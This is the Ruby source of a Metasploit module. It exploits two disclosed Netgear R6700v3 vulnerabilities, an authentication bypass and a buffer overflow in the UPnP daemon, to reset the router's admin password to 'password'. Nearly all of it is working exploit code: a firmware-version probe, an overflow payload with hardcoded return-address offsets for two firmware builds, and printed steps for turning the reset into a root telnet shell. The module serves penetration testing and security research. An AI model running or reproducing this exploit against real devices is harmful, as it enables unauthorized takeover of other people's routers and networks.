Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/netgear_r6700_pass_reset.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Netgear R6700v3 Unauthenticated LAN Admin Password Reset',13'Description' => %q{14This module targets ZDI-20-704 (aka CVE-2020-10924), a buffer overflow vulnerability in the UPNP daemon (/usr/sbin/upnpd),15on Netgear R6700v3 routers running firmware versions from V1.0.2.62 up to but not including V1.0.4.94, to reset16the password for the 'admin' user back to its factory default of 'password'. Authentication is bypassed by17using ZDI-20-703 (aka CVE-2020-10923), an authentication bypass that occurs when network adjacent18computers send SOAPAction UPnP messages to a vulnerable Netgear R6700v3 router. Currently this module only19supports exploiting Netgear R6700v3 routers running either the V1.0.0.4.82_10.0.57 or V1.0.0.4.84_10.0.5820firmware, however support for other firmware versions may be added in the future.2122Once the password has been reset, attackers can use the exploit/linux/telnet/netgear_telnetenable module to send a23special packet to port 23/udp of the router to enable a telnet server on port 23/tcp. The attacker can24then log into this telnet server using the new password, and obtain a shell as the "root" user.2526These last two steps have to be done manually, as the authors did not reverse the communication with the web interface.27It should be noted that successful exploitation will result in the upnpd binary crashing on the target router.28As the upnpd binary will not restart until the router is rebooted, this means that attackers can only exploit29this vulnerability once per reboot of the router.3031This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +32Radek Domanski).33},34'License' => MSF_LICENSE,35'Author' => [36'Pedro Ribeiro <pedrib[at]gmail.com>', # Twitter: @pedrib1337. Vulnerability discovery and Metasploit module37'Radek Domanski <radek.domanski[at]gmail.com>', # Twitter: @RabbitPro. Vulnerability discovery and Metasploit module38'gwillcox-r7' # Minor general updates plus updated implementation of the check method to identify a wider range of vulnerable targets.39],40'References' => [41[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md'],42[ 'URL', 'https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders'],43[ 'CVE', '2020-10923'],44[ 'CVE', '2020-10924'],45[ 'ZDI', '20-703'],46[ 'ZDI', '20-704']47],48# Note that reliability isn't included here, as technically the exploit can only49# only be run once, after which the service crashes.50'Notes' => {51'SideEffects' => [ CONFIG_CHANGES ], # This module will change the configuration by52# resetting the router to the default factory password.53'Stability' => [ CRASH_SERVICE_DOWN ], # This module will crash the target service after it is run.54'Reliability' => [],55'RelatedModules' => [ 'exploit/linux/telnet/netgear_telnetenable' ] # This module relies on users also running exploit/linux/telnet/netgear_telnetenable to get the shell.56},57'DisclosureDate' => '2020-06-15',58'DefaultTarget' => 059)60)61register_options(62[63Opt::RPORT(5000)64]65)66end6768def retrieve_version69soap =70'<?xml version="1.0"?>'\71"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\72"\r\n<SOAP-ENV:Body>"\73"\r\nSetDeviceNameIconByMAC"\74"\r\n<NewBlockSiteName>1"\75"\r\n</NewBlockSiteName>"\76"\r\n</SOAP-ENV:Body>"\77"\r\n</SOAP-ENV:Envelope>"7879# the GetInfo method will helpfully report the firmware version to an unauth request80headers = 'SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo'8182res = send_request_cgi({83'uri' => '/soap/server_sa',84'method' => 'POST',85'raw_headers' => headers,86'data' => soap87})8889if res.nil?90fail_with(Failure::Unreachable, "Failed to obtain device version: Target didn't respond")91elsif (res.body.to_s == '') || (res.code != 200)92fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: Unexpected response code')93end9495version = res.body.to_s.scan(/V(\d\.\d\.\d\.\d{1,2})/).flatten.first # Try find a version number in the format V1.2.3.48 or similar.96if version.nil? # Check we actually got a result.97fail_with(Failure::UnexpectedReply, 'Failed to obtain device version: no version number found in response') # Taken from https://stackoverflow.com/questions/4115115/extract-a-substring-from-a-string-in-ruby-using-a-regular-expression98end99Rex::Version.new(version) # Finally lets turn it into a Rex::Version object for later use in other parts of the code.100end101102def check103target_version = retrieve_version104print_status("Target is running firmware version #{target_version}")105if (target_version < Rex::Version.new('1.0.4.94')) && (target_version >= Rex::Version.new('1.0.2.62'))106return Exploit::CheckCode::Appears107else108return Exploit::CheckCode::Safe109end110end111112def find_offset113target_version = retrieve_version114if target_version == Rex::Version.new('1.0.4.84')115print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target.")116# this offset is where execution will jump to117# a part in the middle of the binary that resets the admin password118return "\x58\x9a\x03"119elsif target_version == Rex::Version.new('1.0.4.82')120print_status("#{peer} - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target.")121return "\x48\x9a\x03"122end123end124125def run126offset = find_offset127if !offset128fail_with(Failure::NoTarget, 'Identified firmware version is not supported. Please contact the authors.')129end130131headers =132"SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\nSOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#Whatever"133134payload =135'<?xml version="1.0"?>'\136"\r\n<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"\137"\r\n<SOAP-ENV:Body>"\138"\r\nSetDeviceNameIconByMAC"\139"\r\n<NewBlockSiteName>1"140141# filler142payload += Rex::Text.rand_text_alpha(1028)143# $r4144payload += Rex::Text.rand_text_alpha(4)145# $r5146payload += Rex::Text.rand_text_alpha(4)147# $r6148payload += Rex::Text.rand_text_alpha(4)149# $r7150payload += Rex::Text.rand_text_alpha(4)151# $r8152payload += Rex::Text.rand_text_alpha(4)153# $lr (AKA return address)154payload += offset155156# trailer157payload +=158"\r\n</NewBlockSiteName>"\159"\r\n</SOAP-ENV:Body>"\160"\r\n</SOAP-ENV:Envelope>"161162headers.gsub! "\n", "\r\n"163payload.gsub! "\n", "\r\n"164165# MSF adds content len automatically.166# Unfortunately this appears before the raw headers hash, but doesn't appear to have ill effects167headers += "\r\n"168169res = send_request_cgi({170'uri' => '/soap/server_sa',171'method' => 'POST',172'raw_headers' => headers,173'data' => payload174})175176if res177# no response is received in case of success178fail_with(Failure::UnexpectedReply, 'Failed to send HTTP payload... try again?')179else180print_good("#{peer} - HTTP payload sent! 'admin' password has been reset to 'password'")181print_status('To achieve code execution, do the following steps manually:')182print_status("1- Login to #{rhost} with creds 'admin:password', then:")183print_status("\t1.1- go to Advanced -> Administration -> Set Password")184print_status("\t1.2- Change the password from 'password' to <WHATEVER>")185print_status('2- Run metasploit as root, then:')186print_status("\t2.1- use exploit/linux/telnet/netgear_telnetenable")187print_status("\t2.2- set interface <INTERFACE_CONNECTED_TO_ROUTER>")188print_status("\t2.3- set rhost #{rhost}")189print_status("\t2.3- set username admin")190print_status("\t2.4- set password <WHATEVER>")191print_status("\t2.5- OPTIONAL: set timeout 1500")192print_status("\t2.6- OPTIONAL: set MAC <ROUTERS_MAC>")193print_status("\t2.7- run it and login with 'admin:<WHATEVER>'")194print_status('3- Enjoy your root shell!')195end196end197end198199200